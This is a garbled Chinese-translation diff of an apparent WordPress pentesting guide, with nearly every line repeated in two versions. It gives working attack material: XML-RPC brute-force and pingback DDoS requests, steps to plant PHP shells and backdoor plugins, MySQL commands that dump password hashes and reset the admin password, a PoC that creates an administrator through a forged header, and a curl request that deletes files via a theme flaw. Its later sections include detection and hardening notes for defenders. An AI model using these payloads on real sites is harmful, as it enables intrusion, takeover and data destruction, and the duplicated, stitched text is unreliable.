- 默认要检查的登录路径:_**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files**
### **主要的 WordPress 文件**
- `index.php`
- `license.txt` 包含有用信息,例如安装的 WordPress 版本。
- `wp-activate.php` 在设置新 WordPress 站点时用于电子邮件激活流程。
- 登录相关文件夹(可能被重命名以隐藏):
- `license.txt` 包含有用信息,例如安装的 WordPress 版本。
- `wp-activate.php` 用于在设置新 WordPress 站点时的邮件激活流程。
- 登录目录(可能被重命名以隐藏):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` 是一个功能文件,允许通过 HTTP 作为传输机制并以 XML 作为编码机制来传输数据。这种通信方式已被 WordPress 的 [REST API](https://developer.wordpress.org/rest-api/reference) 所取代。
- `wp-content` 文件夹是存放 plugins 和 themes 的主要目录。
- `wp-content/uploads/` 是平台上上传的所有文件存储的目录。
- `wp-includes/` 是存放核心文件的目录例如证书、字体、JavaScript 文件和 widgets
- `wp-sitemap.xml` 在 WordPress 5.5 及更高版本中WordPress 会生成一个包含所有公开文章以及可公开查询的文章类型和分类法的 sitemap XML 文件
- `xmlrpc.php` 是一个文件,表示 WordPress 的一个功能,允许通过 HTTP 作为传输机制、XML 作为编码机制来传输数据。这种通信方式已被 WordPress 的 [REST API](https://developer.wordpress.org/rest-api/reference) 所取代。
- `wp-content` 文件夹是存放插件和主题的主要目录。
- `wp-content/uploads/` 是平台上上传文件存放的目录。
- `wp-includes/` 是存放核心文件的目录例如证书、字体、JavaScript 文件和小部件
- `wp-sitemap.xml` 在 WordPress 5.5 及更高版本中WordPress 会生成一个 sitemap XML 文件,包含所有公开文章以及可公开查询的 post types 和 taxonomies
**Post exploitation**
- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,如数据库名、数据库主机、用户名和密码、认证密钥和盐以及数据库表前缀。该配置文件也可以用于启用 DEBUG 模式,这在故障排时很有用。
- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,如数据库名、数据库主机、用户名和密码、认证密钥和盐值,以及数据库表前缀。该配置文件也可以用于启用 DEBUG 模式,这在故障排时很有用。
### 用户权限
- **Administrator**
- **Editor**: 发布并管理他人和自己的文章
- **Author**: 发布并管理自己的文章
- **Contributor**: 撰写并管理自己的文章,但不能发布
- **Subscriber**: 浏览文章并编辑个人资料
- **Editor**:发布并管理自己的和他人的文章
- **Author**发布并管理自己的文章
- **Contributor**:撰写并管理自己的文章但不能发布
- **Subscriber**浏览文章并编辑个人资料
## **Passive Enumeration**
## **被动枚举**
### **Get WordPress version**
### **获取 WordPress 版本**
检查是否可以找到文件 `/license.txt``/readme.html`
检查是否找到文件 `/license.txt``/readme.html`
在页面的 **源代码** 中(示例来自 [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/):
@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### 通用提取版本信息
### 通用提取版本
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -81,35 +81,35 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Plugins and Themes
你可能无法发现所有可能的 Plugins 和 Themes。为了发现所有这些你需要 **主动对 Plugins 和 Themes 的列表进行 Brute Force**(希望有自动化工具包含这些列表)。
你可能无法找到所有可用的 Plugins and Themes。为了发现它们你需要 **主动地 Brute Force 一份 Plugins and Themes 列表**(希望我们有包含这些列表的自动化工具)。
### 用户
- **ID Brute:** 你可以通过对 WordPress 站点的 users IDs 进行 Brute Forcing 来获取有效用户:
- **ID Brute:** 你可以通过 Brute Forcing 用户 ID 从 WordPress 站点获取有效用户:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
如果响应是 **200****30X**表示该 id 为 **有效**。如果响应是 **400**,则表示该 id 为 **无效**
如果响应是 **200****30X**这意味着该 id 是 **有效**。如果响应是 **400**,则该 id 是 **无效**
- **wp-json:** 你也可以通过查询获取关于用户信息:
- **wp-json:** 你也可以尝试通过查询获取用户信息:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
另一个可能透露一些用户信息的 `/wp-json/` endpoint 是:
另一个能暴露一些用户信息的 `/wp-json/` 端点是:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
请注意,该端点仅会公开已发布文章的用户。**仅会提供已启用此功能的用户的信息**
Note that this endpoint only exposes users that have made a post. **只会提供启用此功能的用户的信息**
另请注意,**/wp-json/wp/v2/pages** 可能会 leak IP 地址。
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
- **Login username enumeration**: 在通过 **`/wp-login.php`** 登录时,**消息** 会 **不同**,从而表明该 **用户名是否存在**。
- **Login username enumeration**: 在通过 **`/wp-login.php`** 登录时,显示的 **message** 会不同,可用于判断 **username 是否存在**。
### XML-RPC
如果 `xml-rpc.php` 启用,你可以对凭证进行 brute-force或利用它对其他资源发起 DoS 攻击。(You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (你可以自动化这个过程[ using this](https://github.com/relarizky/wpxploit) 例如).
要检查它是否启用,请访问 _**/xmlrpc.php**_ 并发送以下请求:
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
**检查**
```html
@ -122,7 +122,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** 是一些可以用来 brute-force credentials 的方法。如果你能找到其中任何一个,你可以发送类似下面的内容
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** 是一些可用于 brute-force credentials 的方法。如果你能找到其中任何一个,你可以发送类似下面的请求
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,7 +132,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params>
</methodCall>
```
如果凭证无效,状态码为 200 的响应中应出现消息 _"用户名或密码不正确"_。
当凭证无效时200 状态码响应中应出现消息 _"Incorrect username or password"_。
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
@ -168,18 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params>
</methodCall>
```
另外有一种**更快的方法**来对 credentials 进行 brute-force使用 **`system.multicall`**,因为你可以在同一请求中尝试多个 creds
另外有一种更快的方法可以使用 **`system.multicall`** 对凭证进行 brute-force因为你可以在同一个请求中尝试多个 creds
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**绕过 2FA**
该方法面向程序而非人工使用,且年代较久,因此不支持 2FA。所以如果你有有效的 creds 但主入口受 2FA 保护,**你可能能够滥用 xmlrpc.php 使用这些 creds 登录以绕过 2FA**。注意,你不能执行通过控制台能做的所有操作,但正如 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 中所解释的,你仍可能获得 RCE。
此方法面向程序而非人类,且较为老旧,因此不支持 2FA。所以如果你有有效的 creds 但主入口受 2FA 保护,**你可能能够滥用 xmlrpc.php 使用这些 creds 登录,从而绕过 2FA**。注意,你无法执行通过控制台可以完成的所有操作,但你仍可能像 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 中解释的那样获得 RCE。
**DDoS 或 端口扫描**
**DDoS 或 port scanning**
如果你能在方法列表中找到 _**pingback.ping**_,你可以让 Wordpress 向任意主机/端口发送任意请求。\
这可用于让**数千**个 Wordpress **站点**访问同一个**目标**(从而在该目标造成 **DDoS**),或者你可以用它让 **Wordpress** 去**扫描**某些内部**网络**(你可以指定任意端口)。
如果你能在方法列表中找到 _**pingback.ping**_,你可以让 Wordpress 向任意主机/端口发送任意请求。\
这可用于让 **thousands** 的 Wordpress **sites** 访问同一个 **location**(从而在该位置造成 **DDoS**),或者你可以用它让 **Wordpress****scan** 一些内部 **network**(你可以指定任意端口)。
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -191,9 +191,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
如果你得到 **faultCode** 的值 **大于** **0** (17),则表示端口已开放
如果你得到 **faultCode** 的值**大于** **0**17那意味着端口是开放的
查看上一节中 **`system.multicall`** 的用法,学习如何滥用该方法发动 DDoS。
查看上一节中 **`system.multicall`** 的用法,了解如何滥用此方法导致 DDoS。
**DDoS**
```html
@ -209,15 +209,15 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
### wp-cron.php DoS
此文件通常存在于 Wordpress 站点根目录下:**`/wp-cron.php`**\
当此文件被**访问**时,会执行一个“**heavy**”的 MySQL **query**,因此可能被**attackers**用来**cause**一个**DoS**。\
此外,默认情况下,`wp-cron.php` 会在每次页面加载时被调用(即客户端请求任何 Wordpress 页面时在高流量站点上可能导致问题DoS
此文件通常位于 Wordpress 站点的根目录: **`/wp-cron.php`**\
当此文件被**访问**时,会执行一个**繁重的** MySQL **查询**,因此可能被**攻击者**用来**造成** **DoS**。\
另外,默认情况下,`wp-cron.php` 会在每次页面加载时被调用(任何客户端请求任何 Wordpress 页面时在高流量站点上可能导致问题DoS
建议禁用 Wp-Cron并在主机上创建一个真实的 cronjob 来定期执行所需操作(以避免产生问题)。
It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval (without causing issues).
### /wp-json/oembed/1.0/proxy - SSRF
尝试访问 _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_Worpress site 可能会向你发起请求。
尝试访问 _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_Worpress 站点可能会向你发起请求。
This is the response when it doesn't work:
@ -238,46 +238,47 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## 通过翻转一个比特获取访问权限
## 通过覆盖一位获得访问
这与其说是真正的攻击,不如说是个好奇的例子。在该 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任意 wordpress 文件的 1 个比特。因此你可以将文件 `/var/www/html/wp-includes/user.php` 的位置 `5389` 翻转,从而把 NOT (`!`) 操作 NOP 掉
这与其说是一次真正的攻击,不如说是一种好奇心驱动的实验。 在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任意 wordpress 文件中的 1 位。因此你可以将文件 `/var/www/html/wp-includes/user.php` 中位置为 `5389` 的位翻转为 NOP从而使 NOT (`!`) 操作失效
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
## **面板 RCE**
**修改所使用主题中的 php需要 admin credentials**
**修改所用主题中的 php需要管理员凭据**
Appearance → Theme Editor → 404 Template(在右侧)
外观 → 主题编辑器 → 404 模板(在右侧)
将内容更改为 php shell
![](<../../images/image (384).png>)
互联网上搜索如何访问该已更新的页面。在本例中,您需要访问:[http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
在网上搜索如何访问该已更新的页面。在本例中,您需要访问: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
可以使用:
可以使用:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
以获取会话。
to get a session.
## Plugin RCE
## 插件 RCE
### PHP plugin
### PHP 插件
可能可以将 .php 文件作为 plugin 上传。创建你的 php backdoor例如
可能可以将 .php 文件作为插件上传。\
使用例如下面的方法创建你的 PHP 后门:
![](<../../images/image (183).png>)
然后添加一个新的 plugin
然后添加一个新插件
![](<../../images/image (722).png>)
上传 plugin 并按 Install Now
上传插件并按 Install Now
![](<../../images/image (249).png>)
@ -285,74 +286,74 @@ use exploit/unix/webapp/wp_admin_shell_upload
![](<../../images/image (70).png>)
这看起来可能不会有任何反应,但如果你进入 Media你会看到你的 shell 被上传:
这看起来可能不会有什么反应,但如果你去 Media你会看到你的 shell 已上传:
![](<../../images/image (462).png>)
访问它,你看到用于执行 reverse shell 的 URL
访问它,你看到用于执行 reverse shell 的 URL
![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin
该方法涉及安装已知存在漏洞的恶意 plugin可被利用以获取 web shell。该过程通过 WordPress 仪表盘执行,如下:
该方法涉及安装已知存在漏洞且可被利用以获取 web shell 的恶意插件。该过程通过 WordPress 控制面板执行,步骤如下:
1. **Plugin Acquisition**: 该 plugin 可从 Exploit DB 等来源获取,例如 [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- 前往 WordPress 仪表盘,然后进入 `Dashboard > Plugins > Upload Plugin`.
- 上传下载的 plugin 的 zip 文件。
3. **Plugin Activation**: 插件安装成功后,必须通过仪表盘激活。
4. **Exploitation**:
- 当安装并激活了 "reflex-gallery" plugin 时,可利用该已知漏洞进行攻击
- Metasploit framework 提供了针对该漏洞的 exploit。通过加载相应模块并执行特定命令可以建立 meterpreter 会话,从而获得对站点的未授权访问。
- 注意,这只是利用 WordPress 站点的众多方法之一。
1. **插件获取**:从像 Exploit DB 这样的来源获取插件,例如 [**here**](https://www.exploit-db.com/exploits/36374).
2. **插件安装**
- 在 WordPress 控制面板中,转到 `Dashboard > Plugins > Upload Plugin`
- 上传下载的插件的 zip 文件。
3. **插件激活**:插件成功安装后,必须通过控制面板将其激活。
4. **利用**
- 当安装并激活了名为 "reflex-gallery" 的插件后,可对其进行利用,因为它已知存在漏洞
- Metasploit framework 提供了针对该漏洞的 exploit。通过加载相应模块并执行特定命令可以建立 meterpreter 会话,从而获得对站点的未授权访问。
- 注意,这只是利用 WordPress 站点的众多方法之一。
内容包含在 WordPress 仪表盘中安装并激活 plugin 步骤的图示说明。但重要的是要注意:在没有适当授权的情况下以这种方式利用漏洞是非法且不道德的。本信息应负责任地使用,仅限于合法场景,例如经过明确许可的 渗透测试
内容包含展示在 WordPress 控制面板中安装并激活插件步骤的图示。不过需要注意的是,在没有适当授权的情况下以这种方式利用漏洞是非法且不道德的。此信息应负责任地使用,仅在合法背景下,例如在获得明确许可的渗透测试中使用
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## 从 XSS 到 RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ 是一个脚本,旨在将 **Cross-Site Scripting (XSS)** 漏洞升级为 **Remote Code Execution (RCE)** WordPress 中的其他严重漏洞。更多信息请参见 [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 Wordpress 版本 6.X.X、5.X.X 和 4.X.X 的支持,并允许:
- _**Privilege Escalation:**_ 在 WordPress 中创建一个用户。
- _**(RCE) Custom Plugin (backdoor) Upload:**_ 上传你的自定义 plugin (backdoor) 到 WordPress。
- _**(RCE) Built-In Plugin Edit:**_ 编辑 WordPress 内置的 plugin
- _**(RCE) Built-In Theme Edit:**_ 编辑 WordPress 内置的 theme
- _**(Custom) Custom Exploits:**_ 为第三方 WordPress plugins/themes 提供自定义 exploit
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ 是一个脚本,旨在将 **Cross-Site Scripting (XSS)** 漏洞升级为 **Remote Code Execution (RCE)**其它 WordPress 的严重漏洞。更多信息请查看 [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它为 Wordpress 版本 6.X.X、5.X.X 和 4.X.X 提供支持,并允许:
- _**Privilege Escalation:**_ 在 WordPress 中创建用户。
- _**(RCE) Custom Plugin (backdoor) Upload:**_ 将你的自定义插件backdoor上传到 WordPress。
- _**(RCE) Built-In Plugin Edit:**_ 在 WordPress 中编辑内置插件
- _**(RCE) Built-In Theme Edit:**_ 在 WordPress 中编辑内置主题
- _**(Custom) Custom Exploits:**_ 为第三方 WordPress 插件/主题提供自定义 exploits
## Post Exploitation
## 后利用
提取用户名和密码:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
更改 admin password:
更改 admin 密码:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress 插件 Pentest
## Wordpress Plugins Pentest
### 攻击面
### Attack Surface
了解 Wordpress 插件如何暴露功能对于发现其功能上的漏洞至关重要。你可以在下面的要点中找到插件可能如何暴露功能,以及一些易受攻击插件的示例,请参阅 [**这篇博客文章**](https://nowotarski.info/wordpress-nonce-authorization/)。
了解 Wordpress 插件如何暴露功能对于发现其功能性漏洞至关重要。下面的要点列出了插件可能暴露功能的方式,示例易受影响的插件可见 [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/)。
- **`wp_ajax`**
插件将函数暴露给用户的方式之一是通过 AJAX 处理程序。 这些处理程序可能包含逻辑、授权或认证方面的漏洞。此外,这些函数经常会将认证和授权都基于 Wordpress nonce 的存在,而**Wordpress 实例中任何已认证的用户都可能拥有**(与其角色无关)。
插件将功能暴露给用户的方式之一是通过 AJAX handlers。这些处理程序可能包含逻辑、授权或认证漏洞。此外这类函数常常基于 Wordpress nonce 的存在来判断认证和授权,而 **任何在 Wordpress 实例中已认证的用户都可能拥有该 nonce**(与其角色无关)。
下面是可以用来在插件中暴露功能的函数:
以下是可用于在插件中暴露函数的函数:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**使用 `nopriv` 会使该 endpoint 对任何用户可访问(甚至未认证的用户)。**
**使用 `nopriv` 会使该端点对任何用户可访问(甚至未认证的用户)。**
> [!CAUTION]
> 此外,如果函数只是使用 `wp_verify_nonce` 来检查用户的授权,该函数通常只验证用户是否已登录,并不检查用户的角色。因此低权限用户可能能够访问高权限的操作。
> 此外,如果函数只是使用 `wp_verify_nonce` 来检查用户授权,`wp_verify_nonce` 仅检查用户是否已登录,通常不会检查用户的角色。因此低权限用户可能可以访问高权限操作。
- **REST API**
也可以通过在 wordpress 中使用 `register_rest_route` 函数注册 REST API 路由来暴露函数:
也可以通过使用 `register_rest_route` 函数在 wordpress 中注册 REST API 来暴露函数:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -362,21 +363,21 @@ $this->namespace, '/get/', array(
)
);
```
`permission_callback` 是一个回调函数,用于检查给定用户是否有权限调用该 API 方法。
`permission_callback` 是一个回调函数,用于检查给定用户是否被授权调用该 API 方法。
**如果使用内置的 `__return_true` 函数,它将简单地跳过用户权限检查。**
**如果使用内置的 `__return_true` 函数,它会直接跳过用户权限检查。**
- **直接访问 php 文件**
- **直接访问 PHP 文件**
当然Wordpress 使用 PHP插件内的文件可以直接通过网络访问。因此,如果某个插件暴露了任何仅需访问该文件即可触发的易受攻击功能,就会被任何用户利用
当然Wordpress 使用 PHP插件中的文件可以直接通过 web 访问。因此,如果某个插件暴露了仅通过访问文件即可触发的易受攻击功能,任何用户都能够利用它
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
一些插件为内部集成或反向代理实现了“trusted header”快捷方式然后使用该 header 为 REST 请求设置当前用户上下文。如果该 header 未由上游组件以密码学方式与请求绑定,攻击者可以伪造它并以管理员身份访问有特权的 REST 路由。
一些插件为内部集成或 reverse proxies 实现了“trusted header”快捷方式然后使用该 header 为 REST 请求设置当前用户上下文。如果该 header 未被上游组件以密码学方式绑定到请求,攻击者可以伪造它,从而以管理员身份访问有特权的 REST 路由。
- 影响:未认证用户可通过 core users REST route 创建新的管理员,从而提权为管理员。
- 示例 header: `X-Wcpay-Platform-Checkout-User: 1`(强制用户 ID 为 1通常是第一个管理员号)。
- 被利用的路由:`POST /wp-json/wp/v2/users`,并提交包含提升后 role 数组。
- Impact: 未经身份验证的权限提升为管理员,通过核心 users REST 路由创建新的管理员。
- Example header: `X-Wcpay-Platform-Checkout-User: 1`(强制用户 ID 为 1通常是第一个管理员号)。
- Exploited route: `POST /wp-json/wp/v2/users`,包含提升角色的数组。
PoC
```http
@ -390,36 +391,40 @@ Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
Why it works
- 该插件将客户端可控的 header 映射为认证状态并跳过能力检查。
- WordPress core 对此路由期望 `create_users` 能力;该插件通过直接从 header 设置当前用户上下文来绕过此检查。
为什么可行
Expected success indicators
- HTTP 201响应体为描述新建用户的 JSON。
- 在 `wp-admin/users.php` 中可见一个新管理员用户。
- 插件将客户端可控的 header 映射到认证状态并跳过能力检查。
- WordPress core 期望此路由需要 `create_users` 能力;该插件通过直接从 header 设置当前用户上下文来绕过该检查。
Detection checklist
- 搜索 `getallheaders()`, `$_SERVER['HTTP_...']`, 或读取自定义 header 来设置用户上下文的第三方 SDK例如 `wp_set_current_user()`, `wp_set_auth_cookie()`)。
- 审查 REST 注册,查找那些对特权回调缺乏健壮 `permission_callback` 检查而转而依赖请求 header 的情况。
- 查找在 REST 处理器中仅通过 header 值作为门控的核心用户管理函数(`wp_insert_user`, `wp_create_user`)的使用。
预期成功指示
- 返回 HTTP 201且 JSON 正文描述已创建的用户。
- 在 `wp-admin/users.php` 中可见一个新的 admin 用户。
检测清单
- Grep 查找 `getallheaders()``$_SERVER['HTTP_...']`,或会读取自定义 header 来设置用户上下文的 vendor SDK例如 `wp_set_current_user()``wp_set_auth_cookie()`)。
- 审查 REST 注册,查找那些缺乏健壮 `permission_callback` 检查且依赖请求 header 的特权回调。
- 查找在仅由 header 值控制的 REST 处理程序内部使用核心用户管理函数(`wp_insert_user``wp_create_user`)的情况。
加固建议
Hardening
- 切勿从客户端可控的 header 推导认证或授权。
- 如果反向代理必须注入身份信息,应在代理处结束信任并去除入站副本(例如在边缘使用 `unset X-Wcpay-Platform-Checkout-User`),然后传递签名令牌并在服务器端验证。
- 对于执行特权操作的 REST 路由,要求使用 `current_user_can()` 检查和严格的 `permission_callback`(不要使用 `__return_true`)。
- 优先使用一方认证cookies、application passwords、OAuth而非通过 header 的“冒充”。
- 如果必须由反向代理注入身份,应在代理处终止信任并剥离入站副本(例如在边缘处 `unset X-Wcpay-Platform-Checkout-User`),然后传递签名令牌并在服务器端验证
- 对于执行特权操作的 REST 路由,要求使用 `current_user_can()` 检查并实现严格的 `permission_callback`(不要使用 `__return_true`)。
- 优先使用一方认证cookies、application passwords、OAuth不是 header “模拟”。
References: see the links at the end of this page for a public case and broader analysis.
参考:参见本页末尾的链接,了解一个公开案例和更广泛的分析。
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress 主题和插件经常通过 `wp_ajax_``wp_ajax_nopriv_` 钩子暴露 AJAX 处理器。 当使用 **_nopriv_** 变体时 **回调将可被未认证的访问者调用**,因此任何敏感操作还必须额外实现:
WordPress 主题和插件经常通过 `wp_ajax_``wp_ajax_nopriv_` 钩子暴露 AJAX 处理程序。当使用 **_nopriv_** 变体时,**回调会被未认证的访问者访问到**,因此任何敏感操作还必须额外实现:
1. 一个 **capability check**(例如 `current_user_can()` 或至少 `is_user_logged_in()`),以及
2. 一个 **CSRF nonce**,使用 `check_ajax_referer()` / `wp_verify_nonce()` 验证,和
1. 一个 **能力检查**(例如 `current_user_can()` 或至少 `is_user_logged_in()`),以及
2. 一个通过 `check_ajax_referer()` / `wp_verify_nonce()` 验证的 **CSRF nonce**,以及
3. **严格的输入净化/验证**
Litho multipurpose theme (< 3.1) *Remove Font Family* 功能中遗漏了这三项控制最终发出了以下代码简化
Litho 多用途主题(< 3.1 *Remove Font Family* 功能中忘记了这三项控制最终随主题发布了如下代码简化
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -440,13 +445,13 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
```
该代码片段引入的问题:
* **未认证访问** 已注册 `wp_ajax_nopriv_` 钩子。
* **缺少 nonce / 权限 检查** 任何访问者都可以访问该端点。
* **未进行路径消毒** 用户控制的 `fontfamily` 字符串未经过滤直接拼接到文件系统路径,从而允许经典的 `../../` 目录遍历。
* **Unauthenticated access** the `wp_ajax_nopriv_` hook is registered.
* **No nonce / capability check** any visitor can hit the endpoint.
* **No path sanitisation** the usercontrolled `fontfamily` string is concatenated to a filesystem path without filtering, allowing classic `../../` traversal.
#### 利用
攻击者可以通过发送一个 HTTP POST 请求删除位于 **上传基目录下** 的任意文件或目录(通常为 `<wp-root>/wp-content/uploads/`
攻击者可以通过发送单个 HTTP POST 请求删除位于 **uploads 基目录以下**(通常为 `<wp-root>/wp-content/uploads/`的任意文件或目录
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
@ -458,8 +463,8 @@ Other impactful targets include plugin/theme `.php` files (to break security plu
#### 检测清单
* 任何`add_action( 'wp_ajax_nopriv_...')` 回调中调用文件系统辅助函数(`copy()`, `unlink()`, `$wp_filesystem->delete()` 等)。
* 将未经过滤的用户输入拼接到路径中(查找 `$_POST`, `$_GET`, `$_REQUEST`)。
* 任何调用文件系统辅助函数(`copy()`, `unlink()`, `$wp_filesystem->delete()` 等)`add_action( 'wp_ajax_nopriv_...')` 回调
* 未经消毒的用户输入被拼接到路径中(查找 `$_POST`, `$_GET`, `$_REQUEST`)。
* 缺少 `check_ajax_referer()``current_user_can()`/`is_user_logged_in()`
#### 加固
@ -482,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **始终**将任何对磁盘的写入/删除操作视为需要特权的操作并进行仔细检查:
> • 认证 (Authentication) • 授权 (Authorisation) • Nonce • 输入消毒/验证 • 路径包含控制(例如通过 `realpath()` 加上 `str_starts_with()`)。
> **始终** 将任何对磁盘的写入/删除操作视为有权限风险,并进行双重检查:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
许多插件通过将原始角色保存在 user meta 中来实现“view as role”或临时角色切换功能以便稍后恢复。如果恢复路径仅依赖请求参数(例如 `$_REQUEST['reset-for']`)和插件维护的列表,而没有检查能力capabilities和有效的 nonce这就会成为一次垂直权限提升
许多插件通过将原始角色保存在 user meta 中来实现“view as role”或临时角色切换功能以便稍后恢复。如果还原流程仅依赖请求参数(例如 `$_REQUEST['reset-for']`)和插件维护的列表,而未在移除当前角色并重新添加来自用户 meta 的保存角色之前检查 capabilities 和有效 nonce则会导致 vertical privilege escalation
一个真实案例出现在 Admin and Site Enhancements (ASE) 插件(≤ 7.6.2.1)中。重置分支在用户名出现在内部数组 `$options['viewing_admin_as_role_are']` 时会根据 `reset-for=<username>` 恢复角色,但在移除当前角色并重新添加来自 user meta `_asenha_view_admin_as_original_roles` 的已保存角色之前,既未进行 `current_user_can()` 检查,也未进行 nonce 验证:
在 Admin and Site Enhancements (ASE) 插件(≤ 7.6.2.1)中发现了一个真实示例。重置分支基于 `reset-for=<username>` 恢复角色——如果该用户名出现在内部数组 `$options['viewing_admin_as_role_are']` 中——但在移除当前角色并重新添加来自用户 meta `_asenha_view_admin_as_original_roles` 的保存角色之前,既没有进行 `current_user_can()` 检查,也没有进行 nonce 验证:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -506,17 +511,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
什么可被利用
可被利用
- 信任 `$_REQUEST['reset-for']` plugin option而未进行服务器端授权。
- 如果用户之前在 `_asenha_view_admin_as_original_roles` 中保存了较高权限并被降级,他们可以通过访问重置路径恢复这些权限。
- 在某些部署中,任何 authenticated 用户都可以触发对仍存在于 `viewing_admin_as_role_are` 中的另一个用户名的重置(授权不当)。
- 信任 `$_REQUEST['reset-for']`一个插件选项,而没有进行服务器端授权。
- 如果用户之前在 `_asenha_view_admin_as_original_roles` 中保存了更高的权限并被降级,他们可以通过访问重置路径恢复这些权限。
